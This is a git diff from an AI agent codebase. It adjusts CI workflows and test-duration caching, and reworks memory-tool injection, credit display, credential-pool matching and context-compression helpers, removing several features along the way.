test ci

.github/workflows/docker-publish.yml

@@ -90,7 +90,7 @@ jobs:
       # (see `_SKIP_PARTS` in scripts/run_tests_parallel.py) because each
       # shard would otherwise reach the session-scoped ``built_image``
       # fixture in ``tests/docker/conftest.py`` and start a 3-7min
-      # ``docker build`` — guaranteed to
+      # ``docker build`` under a 180s pytest-timeout cap — guaranteed to
       # die in fixture setup.
       #
       # Piggybacking here avoids a second image build: the smoke test
@@ -114,7 +114,7 @@ jobs:
         run: |
           uv venv .venv --python 3.11
           source .venv/bin/activate
-          # ``dev`` extra pulls in pytest, pytest-asyncio —
+          # ``dev`` extra pulls in pytest, pytest-asyncio, pytest-timeout —
           # everything tests/docker/ needs.  We deliberately avoid ``all``
           # here because the docker tests only drive the container via
           # subprocess and don't import hermes_agent's optional deps.

.github/workflows/e2e-cli-install.yml

@@ -0,0 +1,49 @@
+name: E2E CLI Tests
+
+on:
+  push:
+    branches:
+      - "**"
+
+permissions:
+  contents: read
+
+jobs:
+  e2e-tui-test:
+    runs-on: ubuntu-latest
+    timeout-minutes: 10
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+
+      - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
+        with:
+          node-version: 22
+          cache: npm
+      - run: npm ci
+      - run: cd e2e && CI=true npm run test
+        env:
+          # Ensure tests don't accidentally call real APIs
+          OPENROUTER_API_KEY: ""
+          OPENAI_API_KEY: ""
+          NOUS_API_KEY: ""
+
+      - name: Bundle TUI traces into self-contained replay HTML
+        if: always()
+        run: node e2e/scripts/bundle-replay-html.mjs
+
+      - name: Upload TUI replay viewer
+        uses: actions/upload-artifact@v4
+        if: always()
+        with:
+          name: tui-replay-viewer
+          path: tui-replay-viewer/
+          retention-days: 7
+
+      - name: Upload raw TUI test traces
+        uses: actions/upload-artifact@v4
+        if: always()
+        with:
+          name: tui-test-traces
+          path: e2e/tui-traces/
+          retention-days: 7

.github/workflows/tests.yml

@@ -4,13 +4,13 @@ on:
   push:
     branches: [main]
     paths-ignore:
-      - "**/*.md"
-      - "docs/**"
+      - '**/*.md'
+      - 'docs/**'
   pull_request:
     branches: [main]
     paths-ignore:
-      - "**/*.md"
-      - "docs/**"
+      - '**/*.md'
+      - 'docs/**'
 
 permissions:
   contents: read
@@ -30,17 +30,13 @@ jobs:
         slice: [1, 2, 3, 4, 5, 6]
     steps:
       - name: Checkout code
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
 
       - name: Restore duration cache
-        uses: actions/cache/restore@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5
+        uses: actions/cache/restore@27d5ce7f107fe9357f9df03efb73ab90386fccae  # v5.0.5
         with:
           path: test_durations.json
-          # main always writes a new suffix, but jobs pick the latest one with the same prefix
-          # quote from https://docs.github.com/en/actions/reference/workflows-and-actions/dependency-caching#cache-hits-and-misses
-          # If you provide restore-keys, the cache action sequentially searches for any caches that match the list of restore-keys.
-          # If there are no exact matches, the action searches for partial matches of the restore keys.
-          # When the action finds a partial match, the most recent cache is restored to the path directory.
+          # Single stable key. main always overwrites, PRs always find it.
           key: test-durations
 
       - name: Install ripgrep (prebuilt binary)
@@ -58,7 +54,7 @@ jobs:
           rg --version
 
       - name: Install uv
-        uses: astral-sh/setup-uv@d4b2f3b6ecc6e67c4457f6d3e41ec42d3d0fcb86 # v5
+        uses: astral-sh/setup-uv@d4b2f3b6ecc6e67c4457f6d3e41ec42d3d0fcb86  # v5
         with:
           # Persist uv's download/wheel cache (~/.cache/uv) across runs.
           # Keyed on the dependency manifests, so the cache is reused until
@@ -119,7 +115,7 @@ jobs:
           NOUS_API_KEY: ""
 
       - name: Upload per-slice durations
-        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
+        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a  # v7.0.1
         with:
           name: test-durations-slice-${{ matrix.slice }}
           path: test_durations.json
@@ -129,11 +125,11 @@ jobs:
   # (including PRs) get balanced slicing.
   save-durations:
     needs: test
-    if: needs.test.result == 'success' && github.ref == 'refs/heads/main'
+    if: always() && github.ref == 'refs/heads/main'
     runs-on: ubuntu-latest
     steps:
       - name: Download all slice durations
-        uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1
+        uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c  # v8.0.1
         with:
           pattern: test-durations-slice-*
           path: durations
@@ -153,17 +149,17 @@ jobs:
           "
 
       - name: Save merged duration cache
-        uses: actions/cache/save@27d5ce7f107fe9357f9df03efb73ab90386fccae # v5.0.5
+        uses: actions/cache/save@27d5ce7f107fe9357f9df03efb73ab90386fccae  # v5.0.5
         with:
           path: test_durations.json
-          key: test-durations-${{ github.run_id }}
+          key: test-durations
 
   e2e:
     runs-on: ubuntu-latest
     timeout-minutes: 15
     steps:
       - name: Checkout code
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd  # v6.0.2
 
       - name: Install ripgrep (prebuilt binary)
         run: |
@@ -180,7 +176,7 @@ jobs:
           rg --version
 
       - name: Install uv
-        uses: astral-sh/setup-uv@d4b2f3b6ecc6e67c4457f6d3e41ec42d3d0fcb86 # v5
+        uses: astral-sh/setup-uv@d4b2f3b6ecc6e67c4457f6d3e41ec42d3d0fcb86  # v5
         with:
           # Persist uv's download/wheel cache (~/.cache/uv) across runs.
           # Keyed on the dependency manifests, so the cache is reused until

.gitignore

@@ -19,6 +19,8 @@ __pycache__/
 .notebooklm-playwright/
 .pip-cache/
 .uv-cache/
+.tui-test/
+tui-traces/
 compose.hermes.local.yml
 export*
 __pycache__/model_tools.cpython-310.pyc
@@ -132,7 +134,3 @@ scripts/out/
 # stores the published notes. They are not a build artifact and must never be
 # committed to the repo root. See the hermes-release skill.
 RELEASE_v*.md
-
-# Desktop demo-run scratch output (hermes writes demo/*.txt during recorded
-# walkthroughs). Throwaway artifacts, never part of the app.
-apps/desktop/demo/

acp_adapter/server.py

@@ -824,7 +824,6 @@ class HermesACPAgent(acp.Agent):
 
         try:
             from model_tools import get_tool_definitions
-            from agent.memory_manager import inject_memory_provider_tools
 
             enabled_toolsets = _expand_acp_enabled_toolsets(
                 getattr(state.agent, "enabled_toolsets", None) or ["hermes-acp"],
@@ -840,7 +839,6 @@ class HermesACPAgent(acp.Agent):
             state.agent.valid_tool_names = {
                 tool["function"]["name"] for tool in state.agent.tools or []
             }
-            inject_memory_provider_tools(state.agent)
             invalidate = getattr(state.agent, "_invalidate_system_prompt", None)
             if callable(invalidate):
                 invalidate()
@@ -1781,25 +1779,10 @@ class HermesACPAgent(acp.Agent):
     def _cmd_tools(self, args: str, state: SessionState) -> str:
         try:
             from model_tools import get_tool_definitions
-            from types import SimpleNamespace
-            from agent.memory_manager import inject_memory_provider_tools
-
             toolsets = _expand_acp_enabled_toolsets(
                 getattr(state.agent, "enabled_toolsets", None) or ["hermes-acp"]
             )
             tools = get_tool_definitions(enabled_toolsets=toolsets, quiet_mode=True)
-            tool_view = SimpleNamespace(
-                tools=list(tools or []),
-                valid_tool_names={
-                    tool.get("function", {}).get("name")
-                    for tool in tools or []
-                    if isinstance(tool, dict)
-                },
-                enabled_toolsets=toolsets,
-                _memory_manager=getattr(state.agent, "_memory_manager", None),
-            )
-            inject_memory_provider_tools(tool_view)
-            tools = tool_view.tools
             if not tools:
                 return "No tools available."
             lines = [f"Available tools ({len(tools)}):"]

agent/account_usage.py

@@ -145,7 +145,7 @@ def build_nous_credits_snapshot(account_info) -> Optional[AccountUsageSnapshot]:
     account info to show (fail-open: caller just shows nothing).
     """
     try:
-        from hermes_cli.nous_account import nous_portal_topup_url
+        from hermes_cli.nous_account import nous_portal_billing_url
 
         if account_info is None or not getattr(account_info, "logged_in", False):
             return None
@@ -213,8 +213,7 @@ def build_nous_credits_snapshot(account_info) -> Optional[AccountUsageSnapshot]:
         if not windows and not details:
             return None
 
-        details.append(f"Top up: {nous_portal_topup_url(account_info)}")
-        details.append("(or run /credits)")
+        details.append(f"Manage / top up: {nous_portal_billing_url(account_info)}")
 
         plan = getattr(sub, "plan", None) if sub is not None else None
         return AccountUsageSnapshot(
@@ -338,93 +337,6 @@ def _snapshot_from_credits_state(state) -> Optional[AccountUsageSnapshot]:
         return None
 
 
-@dataclass(frozen=True)
-class CreditsView:
-    """Surface-agnostic data for the ``/credits`` command.
-
-    One portal fetch, one parse — consumed identically by the CLI panel, the
-    gateway button, and any other money surface. Fail-open: when not logged in
-    or the portal is unreachable, ``logged_in`` is False / ``topup_url`` is None
-    and callers degrade gracefully.
-    """
-
-    logged_in: bool
-    balance_lines: tuple[str, ...] = ()
-    identity_line: Optional[str] = None
-    topup_url: Optional[str] = None
-    depleted: bool = False
-
-
-def build_credits_view(*, markdown: bool = False, timeout: float = 10.0) -> CreditsView:
-    """Build the /credits view: balance block + identity line + top-up URL.
-
-    Reuses the same account fetch + snapshot + URL builder as the /usage credits
-    block, so the numbers always match. The balance block is the rendered
-    snapshot MINUS its trailing top-up/command-hint lines (the /credits surface
-    supplies its own affordance). Fail-open → ``CreditsView(logged_in=False)``.
-    """
-    not_logged_in = CreditsView(logged_in=False)
-    try:
-        from hermes_cli.auth import get_provider_auth_state
-
-        tok = (get_provider_auth_state("nous") or {}).get("access_token")
-        if not (isinstance(tok, str) and tok.strip()):
-            return not_logged_in
-    except Exception:
-        return not_logged_in
-
-    try:
-        import concurrent.futures
-
-        from hermes_cli.nous_account import (
-            get_nous_portal_account_info,
-            nous_portal_topup_url,
-        )
-
-        with concurrent.futures.ThreadPoolExecutor(max_workers=1) as pool:
-            account = pool.submit(get_nous_portal_account_info, force_fresh=True).result(
-                timeout=timeout
-            )
-    except Exception:
-        logger.debug("credits ▸ /credits portal fetch failed (fail-open)", exc_info=True)
-        return not_logged_in
-
-    if account is None or not getattr(account, "logged_in", False):
-        return not_logged_in
-
-    snapshot = build_nous_credits_snapshot(account)
-    # Balance lines = the snapshot block minus the two trailing affordance lines
-    # ("Top up: <url>" + "(or run /credits)") that build_nous_credits_snapshot
-    # appends for the /usage surface. /credits renders its own button/panel.
-    balance_lines: list[str] = []
-    if snapshot is not None:
-        rendered = render_account_usage_lines(snapshot, markdown=markdown)
-        balance_lines = [
-            line
-            for line in rendered
-            if not line.lstrip().startswith("Top up:")
-            and not line.lstrip().startswith("(or run")
-        ]
-
-    # Identity line — shown before any open (roadmap §4.4).
-    email = getattr(account, "email", None)
-    org_name = getattr(account, "org_name", None)
-    who: list[str] = []
-    if email:
-        who.append(str(email))
-    if org_name:
-        who.append(f"org {org_name}")
-    identity_line = ("Topping up as " + " / ".join(who)) if who else None
-
-    return CreditsView(
-        logged_in=True,
-        balance_lines=tuple(balance_lines),
-        identity_line=identity_line,
-        topup_url=nous_portal_topup_url(account),
-        depleted=getattr(account, "paid_service_access", None) is False,
-    )
-
-
 def _resolve_codex_usage_url(base_url: str) -> str:
     normalized = (base_url or "").strip().rstrip("/")
     if not normalized:

agent/agent_init.py

@@ -1193,8 +1193,38 @@ def init_agent(
             _ra().logger.warning("Memory provider plugin init failed: %s", _mpe)
             agent._memory_manager = None
 
-    from agent.memory_manager import inject_memory_provider_tools as _inject_memory_provider_tools
-    _inject_memory_provider_tools(agent)
+    # Inject memory provider tool schemas into the tool surface.
+    # Skip tools whose names already exist (plugins may register the
+    # same tools via ctx.register_tool(), which lands in agent.tools
+    # through _ra().get_tool_definitions()).  Duplicate function names cause
+    # 400 errors on providers that enforce unique names (e.g. Xiaomi
+    # MiMo via Nous Portal).
+    #
+    # Respect the platform's enabled_toolsets configuration (#5544):
+    #   enabled_toolsets is None        → no filter, inject (backward compat)
+    #   "memory" in enabled_toolsets    → user opted in, inject
+    #   otherwise (incl. [])            → user excluded memory, skip injection
+    #
+    # Without this gate, `platform_toolsets: telegram: []` still leaks memory
+    # provider tools (fact_store, etc.) into the tool surface — a 10x latency
+    # penalty on local models and a frequent trigger of tool-call loops.
+    if agent._memory_manager and agent.tools is not None and (
+        agent.enabled_toolsets is None or "memory" in agent.enabled_toolsets
+    ):
+        _existing_tool_names = {
+            t.get("function", {}).get("name")
+            for t in agent.tools
+            if isinstance(t, dict)
+        }
+        for _schema in agent._memory_manager.get_all_tool_schemas():
+            _tname = _schema.get("name", "")
+            if _tname and _tname in _existing_tool_names:
+                continue  # already registered via plugin path
+            _wrapped = {"type": "function", "function": _schema}
+            agent.tools.append(_wrapped)
+            if _tname:
+                agent.valid_tool_names.add(_tname)
+                _existing_tool_names.add(_tname)
 
     # Skills config: nudge interval for skill creation reminders
     agent._skill_nudge_interval = 10

agent/agent_runtime_helpers.py

@@ -445,45 +445,6 @@ def repair_message_sequence(agent, messages: List[Dict]) -> int:
     return repairs
 
 
-def repair_message_sequence_with_cursor(agent, messages: List[Dict]) -> int:
-    """Run :func:`repair_message_sequence` and keep the SessionDB flush
-    cursor consistent with the compacted list (#44837).
-
-    ``repair_message_sequence`` merges/drops messages in place, shrinking
-    the list. ``_last_flushed_db_idx`` (the DB-write cursor) indexes into
-    that list, so after compaction it can point past the new end — the
-    turn-end flush would then skip the assistant/tool chain entirely — or
-    past unflushed messages shifted to lower indexes.
-
-    Repair preserves object identity for surviving messages, so counting
-    the survivors from the previously-flushed prefix gives the exact new
-    cursor even when messages are dropped/merged at indexes *before* the
-    cursor — a plain ``min()`` clamp would silently skip that many
-    unflushed rows. Falls back to the clamp when no prefix snapshot is
-    available.
-
-    Returns the number of repairs made (same as ``repair_message_sequence``).
-    """
-    pre_repair_flushed_ids = None
-    flush_cursor = getattr(agent, "_last_flushed_db_idx", None)
-    if isinstance(flush_cursor, int) and flush_cursor > 0:
-        pre_repair_flushed_ids = {id(m) for m in messages[:flush_cursor]}
-
-    repairs = repair_message_sequence(agent, messages)
-
-    if repairs > 0 and hasattr(agent, "_last_flushed_db_idx"):
-        if pre_repair_flushed_ids is not None:
-            agent._last_flushed_db_idx = sum(
-                1 for m in messages if id(m) in pre_repair_flushed_ids
-            )
-        else:
-            agent._last_flushed_db_idx = min(
-                agent._last_flushed_db_idx, len(messages)
-            )
-
-    return repairs
-
-
 
 def strip_think_blocks(agent, content: str) -> str:
     """Remove reasoning/thinking blocks from content, returning only visible text.
@@ -618,33 +579,12 @@ def recover_with_credential_pool(
     current_provider = (getattr(agent, "provider", "") or "").strip().lower()
     pool_provider = (getattr(pool, "provider", "") or "").strip().lower()
     if current_provider and pool_provider and current_provider != pool_provider:
-        # Custom endpoints use two naming conventions for the SAME provider:
-        # the agent carries the generic ``custom`` label while the pool is
-        # keyed ``custom:<name>`` (see CUSTOM_POOL_PREFIX). A literal string
-        # compare treats them as a mismatch and skips recovery for every
-        # custom-provider user — 401s/429s then burn the full retry cycle
-        # with no rotation or refresh. Accept the pair as matching only when
-        # the agent's CURRENT base_url actually resolves to this pool key,
-        # so a fallback provider (or a different custom endpoint) still
-        # triggers the guard.
-        _custom_match = False
-        if current_provider == "custom" and pool_provider.startswith("custom:"):
-            try:
-                from agent.credential_pool import get_custom_provider_pool_key
-                _agent_base = (getattr(agent, "base_url", "") or "").strip()
-                _custom_match = bool(_agent_base) and (
-                    (get_custom_provider_pool_key(_agent_base) or "").strip().lower()
-                    == pool_provider
-                )
-            except Exception:
-                _custom_match = False
-        if not _custom_match:
-            _ra().logger.warning(
-                "Credential pool provider mismatch: pool=%s, agent=%s — "
-                "skipping pool mutation to avoid cross-provider contamination",
-                pool_provider, current_provider,
-            )
-            return False, has_retried_429
+        _ra().logger.warning(
+            "Credential pool provider mismatch: pool=%s, agent=%s — "
+            "skipping pool mutation to avoid cross-provider contamination",
+            pool_provider, current_provider,
+        )
+        return False, has_retried_429
 
     effective_reason = classified_reason
     if effective_reason is None:

agent/auxiliary_client.py

@@ -3190,7 +3190,7 @@ def _resolve_auto(main_runtime: Optional[Dict[str, Any]] = None) -> Tuple[Option
     if (main_provider and main_model
             and main_provider not in {"auto", ""}):
         resolved_provider = main_provider
-        explicit_base_url = runtime_base_url or None
+        explicit_base_url = None
         explicit_api_key = None
         if runtime_base_url and (main_provider == "custom" or main_provider.startswith("custom:")):
             resolved_provider = "custom"

agent/codex_responses_adapter.py

@@ -127,21 +127,14 @@ def _chat_content_to_responses_parts(content: Any, *, role: str = "user") -> Lis
     return converted
 
 
-def _summarize_user_message_for_log(content: Any, *, sep: str = " ") -> str:
-    """Flatten message content to a plain-text summary.
+def _summarize_user_message_for_log(content: Any) -> str:
+    """Return a short text summary of a user message for logging/trajectory.
 
     Multimodal messages arrive as a list of ``{type:"text"|"image_url", ...}``
-    parts from the API server.  Several consumers want a plain string:
-
-    - Logging, spinner previews, and trajectory files (the default ``sep=" "``).
-    - External memory providers, which feed the text to regexes
-      (``sanitize_context``) and text APIs — a raw list crashes the sync with
-      ``expected string or bytes-like object, got 'list'`` (use ``sep="\\n"``).
-
-    Text parts are joined with ``sep``; images become a ``[N image(s)]`` marker
-    so the turn isn't recorded as if the attachment never existed.  Returns an
-    empty string for empty lists and ``str(content)`` for unexpected scalar
-    types.
+    parts from the API server.  Logging, spinner previews, and trajectory
+    files all want a plain string — this helper extracts the first chunk of
+    text and notes any attached images.  Returns an empty string for empty
+    lists and ``str(content)`` for unexpected scalar types.
     """
     if content is None:
         return ""
@@ -164,7 +157,7 @@ def _summarize_user_message_for_log(content: Any, *, sep: str = " ") -> str:
                     text_bits.append(text)
             elif ptype in {"image_url", "input_image"}:
                 image_count += 1
-        summary = sep.join(text_bits).strip()
+        summary = " ".join(text_bits).strip()
         if image_count:
             note = f"[{image_count} image{'s' if image_count != 1 else ''}]"
             summary = f"{note} {summary}" if summary else note

agent/coding_context.py

@@ -190,10 +190,6 @@ CODING_AGENT_GUIDANCE = (
     "Verify, and know when to stop:\n"
     "- Use `terminal` for git, builds, tests, and inspection. Run the relevant "
     "tests/linter/build and confirm they pass before claiming the work is done.\n"
-    "- Terminal state persists across calls: current directory and exported "
-    "environment variables carry forward. Activate a virtualenv or export setup "
-    "vars once, then reuse that state instead of re-sourcing it before every "
-    "test command.\n"
     "- Fix root causes, not symptoms: when you find a bug, check sibling call "
     "paths for the same flaw and fix the class, not just the reported site.\n"
     "- When fixing linter/type errors on a file, stop after about three "
@@ -715,13 +711,10 @@ def build_coding_workspace_block(cwd: Optional[str | Path] = None) -> str:
             lines.append("- Branch: (detached HEAD)")
 
         # Linked worktree: the per-worktree git dir differs from the shared common dir.
-        # We surface the fact that it's a worktree (so the model knows branches/stashes
-        # are shared state) but deliberately do NOT expose the primary tree path —
-        # giving the model a second absolute path causes it to sometimes run commands
-        # in the wrong directory.
         git_dir, common_dir = _git(root, "rev-parse", "--git-dir"), _git(root, "rev-parse", "--git-common-dir")
         if git_dir and common_dir and Path(git_dir).resolve() != Path(common_dir).resolve():
-            lines.append("- Worktree: linked (git state shared with primary tree)")
+            main_tree = Path(common_dir).resolve().parent
+            lines.append(f"- Worktree: linked (primary tree at {main_tree})")
 
         dirty = [f"{n} {label}" for label, n in (
             ("staged", counts["staged"]), ("modified", counts["modified"]),

agent/context_compressor.py

@@ -69,31 +69,6 @@ SUMMARY_PREFIX = (
 )
 LEGACY_SUMMARY_PREFIX = "[CONTEXT SUMMARY]:"
 
-# Metadata key added to context compression summary messages so that frontends
-# (CLI, Desktop, gateway, TUI) can distinguish them from real assistant/user
-# messages and filter or render them appropriately without content-prefix
-# heuristics. See https://github.com/NousResearch/hermes-agent/issues/38389
-#
-# Underscore-prefixed ON PURPOSE: the wire sanitizers
-# (agent/transports/chat_completions.py convert_messages and the summary-path
-# mirror in agent/chat_completion_helpers.py) strip every top-level message
-# key starting with "_" before the request leaves the process. Strict
-# OpenAI-compatible gateways (Fireworks, Mistral, Moonshot/Kimi, opencode-go)
-# reject payloads carrying unknown keys with "Extra inputs are not permitted",
-# poisoning every subsequent request in the session — a bare key like
-# "is_compressed_summary" would reach the wire and trip exactly that.
-COMPRESSED_SUMMARY_METADATA_KEY = "_compressed_summary"
-
-# Appended to every standalone summary message (and to the merged-into-tail
-# prefix) so the model has an unambiguous "summary ends here" boundary.
-# Without it, weak models read the verbatim "## Active Task" quote as fresh
-# user input (#11475, #14521) or regurgitate an assistant-role summary as
-# their own output (#33256).
-_SUMMARY_END_MARKER = (
-    "--- END OF CONTEXT SUMMARY — "
-    "respond to the message below, not the summary above ---"
-)
-
 # Handoff prefixes that shipped in earlier releases. A summary persisted under
 # one of these can be inherited into a resumed lineage (#35344); when it is
 # re-normalized on re-compaction we must strip the OLD prefix too, otherwise the
@@ -168,23 +143,10 @@ _SUMMARY_FAILURE_COOLDOWN_SECONDS = 600
 # become another unbounded transcript copy after the LLM summarizer failed.
 _FALLBACK_SUMMARY_MAX_CHARS = 8_000
 _FALLBACK_TURN_MAX_CHARS = 700
-_AUTO_FOCUS_MAX_TURNS = 3
-_AUTO_FOCUS_TURN_MAX_CHARS = 260
-_AUTO_FOCUS_MAX_CHARS = 700
-# Keep a short run of recent messages verbatim even when the token budget is
-# already exhausted.  The public ``protect_last_n`` default is intentionally
-# high for small/light tails, but using all 20 as a hard floor here would bring
-# back the old large-tool-output case where nothing can be compacted.
-_MAX_TAIL_MESSAGE_FLOOR = 8
 
 
 _PATH_MENTION_RE = re.compile(r"(?:/|~/?|[A-Za-z]:\\)[^\s`'\")\]}<>]+")
 
-# MEDIA delivery directives must not reach the summarizer — if one leaks into
-# the summary, the downstream model may re-emit it as an active directive on
-# the next turn, triggering bogus attachment sends (#14665).
-_MEDIA_DIRECTIVE_RE = re.compile(r"MEDIA:\S+")
-
 
 def _dedupe_append(items: list[str], value: str, *, limit: int) -> None:
     value = value.strip()
@@ -1045,7 +1007,6 @@ class ContextCompressor(ContextEngine):
         for msg in turns:
             role = msg.get("role", "unknown")
             content = redact_sensitive_text(msg.get("content") or "")
-            content = _MEDIA_DIRECTIVE_RE.sub("[media attachment]", content)
 
             # Tool results: keep enough content for the summarizer
             if role == "tool":
@@ -1493,7 +1454,7 @@ Use this exact structure:
             prompt += f"""
 
 FOCUS TOPIC: "{focus_topic}"
-This compaction should PRIORITISE preserving all information related to the focus topic above. For content related to "{focus_topic}", include full detail — exact values, file paths, command outputs, error messages, and decisions. For content NOT related to the focus topic, summarise more aggressively (brief one-liners or omit if truly irrelevant). The focus topic sections should receive roughly 60-70% of the summary token budget. Even for the focus topic, NEVER preserve API keys, tokens, passwords, or credentials — use [REDACTED]."""
+The user has requested that this compaction PRIORITISE preserving all information related to the focus topic above. For content related to "{focus_topic}", include full detail — exact values, file paths, command outputs, error messages, and decisions. For content NOT related to the focus topic, summarise more aggressively (brief one-liners or omit if truly irrelevant). The focus topic sections should receive roughly 60-70% of the summary token budget. Even for the focus topic, NEVER preserve API keys, tokens, passwords, or credentials — use [REDACTED]."""
 
         try:
             call_kwargs = {
@@ -1646,13 +1607,7 @@ This compaction should PRIORITISE preserving all information related to the focu
         text = (summary or "").strip()
         for prefix in (SUMMARY_PREFIX, LEGACY_SUMMARY_PREFIX, *_HISTORICAL_SUMMARY_PREFIXES):
             if text.startswith(prefix):
-                text = text[len(prefix):].lstrip()
-                break
-        # Strip the trailing end marker too — a rehydrated handoff body that
-        # keeps it would leak the boundary directive into the iterative-update
-        # summarizer prompt (and the marker is re-appended on insertion anyway).
-        if text.endswith(_SUMMARY_END_MARKER):
-            text = text[: -len(_SUMMARY_END_MARKER)].rstrip()
+                return text[len(prefix):].lstrip()
         return text
 
     @classmethod
@@ -1668,52 +1623,6 @@ This compaction should PRIORITISE preserving all information related to the focu
             return True
         return any(text.startswith(p) for p in _HISTORICAL_SUMMARY_PREFIXES)
 
-    @staticmethod
-    def _has_compressed_summary_metadata(message: Any) -> bool:
-        """Return True if *message* carries the compressed-summary flag.
-
-        Callers (frontends, CLI, gateway) can use this to distinguish context
-        compaction summaries from real assistant or user messages without
-        relying on content-prefix heuristics.  The flag is in-process only —
-        the wire sanitizers strip underscore-prefixed keys before API calls.
-        """
-        if not isinstance(message, dict):
-            return False
-        return bool(message.get(COMPRESSED_SUMMARY_METADATA_KEY))
-
-    @classmethod
-    def _derive_auto_focus_topic(
-        cls,
-        messages: List[Dict[str, Any]],
-    ) -> Optional[str]:
-        """Infer a compact focus hint from the most recent real user turns."""
-        candidates: list[str] = []
-        for idx in range(len(messages) - 1, -1, -1):
-            msg = messages[idx]
-            if msg.get("role") != "user":
-                continue
-            content = msg.get("content")
-            if cls._is_context_summary_content(content):
-                continue
-            text = redact_sensitive_text(_content_text_for_contains(content).strip())
-            if not text:
-                continue
-            text = " ".join(text.split())
-            if len(text) > _AUTO_FOCUS_TURN_MAX_CHARS:
-                text = text[: _AUTO_FOCUS_TURN_MAX_CHARS - 1].rstrip() + "…"
-            candidates.append(text)
-            if len(candidates) >= _AUTO_FOCUS_MAX_TURNS:
-                break
-
-        if not candidates:
-            return None
-
-        candidates.reverse()
-        focus = "Recent user focus:\n" + "\n".join(f"- {item}" for item in candidates)
-        if len(focus) > _AUTO_FOCUS_MAX_CHARS:
-            focus = focus[: _AUTO_FOCUS_MAX_CHARS - 1].rstrip() + "…"
-        return focus
-
     @classmethod
     def _find_latest_context_summary(
         cls,
@@ -1866,105 +1775,6 @@ This compaction should PRIORITISE preserving all information related to the focu
                 return i
         return -1
 
-    def _find_last_assistant_message_idx(
-        self, messages: List[Dict[str, Any]], head_end: int
-    ) -> int:
-        """Return the index of the last user-visible assistant reply at or
-        after *head_end*, or -1.
-
-        A "user-visible reply" is an assistant message with non-empty
-        textual content — i.e. one that the WebUI / TUI / SessionsPage
-        rendered as a bubble the operator could read. We deliberately
-        skip assistant messages that contain only ``tool_calls`` (and
-        no text), because those render as small "calling tool X"
-        indicators and aren't what the reporter means by "the output
-        of the last message you sent" (#29824).
-
-        Falling back to the most recent assistant message of ANY kind
-        only kicks in when no content-bearing assistant message exists
-        in the compressible region — typically a fresh session that
-        just started a multi-step tool sequence with no prior reply
-        to anchor. In that case the agent fix is a no-op and the
-        existing user-message anchor carries the load.
-        """
-        last_any = -1
-        for i in range(len(messages) - 1, head_end - 1, -1):
-            msg = messages[i]
-            if msg.get("role") != "assistant":
-                continue
-            if last_any < 0:
-                last_any = i
-            content = msg.get("content")
-            if isinstance(content, str) and content.strip():
-                return i
-            if isinstance(content, list):
-                # Multimodal / Anthropic-style content: look for any
-                # text block with non-empty text.
-                for part in content:
-                    if isinstance(part, dict):
-                        text = part.get("text") or part.get("content")
-                        if isinstance(text, str) and text.strip():
-                            return i
-        return last_any
-
-    def _ensure_last_assistant_message_in_tail(
-        self,
-        messages: List[Dict[str, Any]],
-        cut_idx: int,
-        head_end: int,
-    ) -> int:
-        """Guarantee the most recent assistant message is in the protected tail.
-
-        WebUI / TUI / SessionsPage bug (#29824). Without this anchor,
-        ``_find_tail_cut_by_tokens`` can leave the user's most recent
-        visible assistant response inside the compressed middle region —
-        especially when the conversation has a single oversized tool
-        result or a long stretch of tool-call/result pairs after the
-        last assistant reply. The summariser then rolls that reply up
-        into the single ``[CONTEXT COMPACTION — REFERENCE ONLY]`` block
-        persisted as ``role="user"`` or ``role="assistant"``. From the
-        operator's perspective the WebUI session viewer
-        (``web/src/pages/SessionsPage.tsx``) and the TUI chat panel
-        both suddenly show the opaque "Context compaction" block in the
-        slot where they were just reading the assistant's actual reply:
-
-            User:       "i cant see the output of the last message you
-                         sent, i did see it previously, however now see
-                         'context compaction'"
-
-        Mirror of ``_ensure_last_user_message_in_tail`` but anchors on
-        the last assistant-role message. Re-runs the tool-group
-        alignment so we don't split a ``tool_call`` / ``tool_result``
-        group that immediately precedes the anchored message — orphaned
-        tool messages would otherwise be removed by
-        ``_sanitize_tool_pairs`` and trigger the same data-loss symptom
-        we're trying to prevent.
-        """
-        last_asst_idx = self._find_last_assistant_message_idx(messages, head_end)
-        if last_asst_idx < 0:
-            # No assistant message in the compressible region — nothing
-            # to anchor (single-turn pre-reply state, etc.).
-            return cut_idx
-        if last_asst_idx >= cut_idx:
-            # Already in the tail — the token-budget walk did the right
-            # thing on its own.
-            return cut_idx
-        # Pull cut_idx back to the assistant message, then re-align so
-        # we don't split a tool group that immediately precedes it
-        # (e.g. an ``assistant(tool_calls)`` → ``tool(result)`` →
-        # ``assistant(final reply)`` sequence would otherwise leave the
-        # ``tool`` orphan when cut lands at the final reply).
-        new_cut = self._align_boundary_backward(messages, last_asst_idx)
-        if not self.quiet_mode:
-            logger.debug(
-                "Anchoring tail cut to last assistant message at index %d "
-                "(was %d, aligned to %d) to keep the previously-visible "
-                "reply out of the compaction summary (#29824)",
-                last_asst_idx, cut_idx, new_cut,
-            )
-        # Safety: never go back into the head region.
-        return max(new_cut, head_end + 1)
-
     def _ensure_last_user_message_in_tail(
         self,
         messages: List[Dict[str, Any]],
@@ -2023,12 +1833,11 @@ This compaction should PRIORITISE preserving all information related to the focu
         derived from ``summary_target_ratio * context_length``, so it
         scales automatically with the model's context window.
 
-        Token budget is the primary criterion.  A bounded message-count floor
-        keeps a short run of recent turns verbatim even when the budget is
-        exhausted, but the budget is allowed to exceed by up to 1.5x to avoid
-        cutting inside an oversized message (tool output, file read, etc.). If
-        even that floor exceeds 1.5x the budget, the cut is placed right after
-        the head so compression still runs.
+        Token budget is the primary criterion.  A hard minimum of 3 messages
+        is always protected, but the budget is allowed to exceed by up to
+        1.5x to avoid cutting inside an oversized message (tool output, file
+        read, etc.).  If even the minimum 3 messages exceed 1.5x the budget
+        the cut is placed right after the head so compression still runs.
 
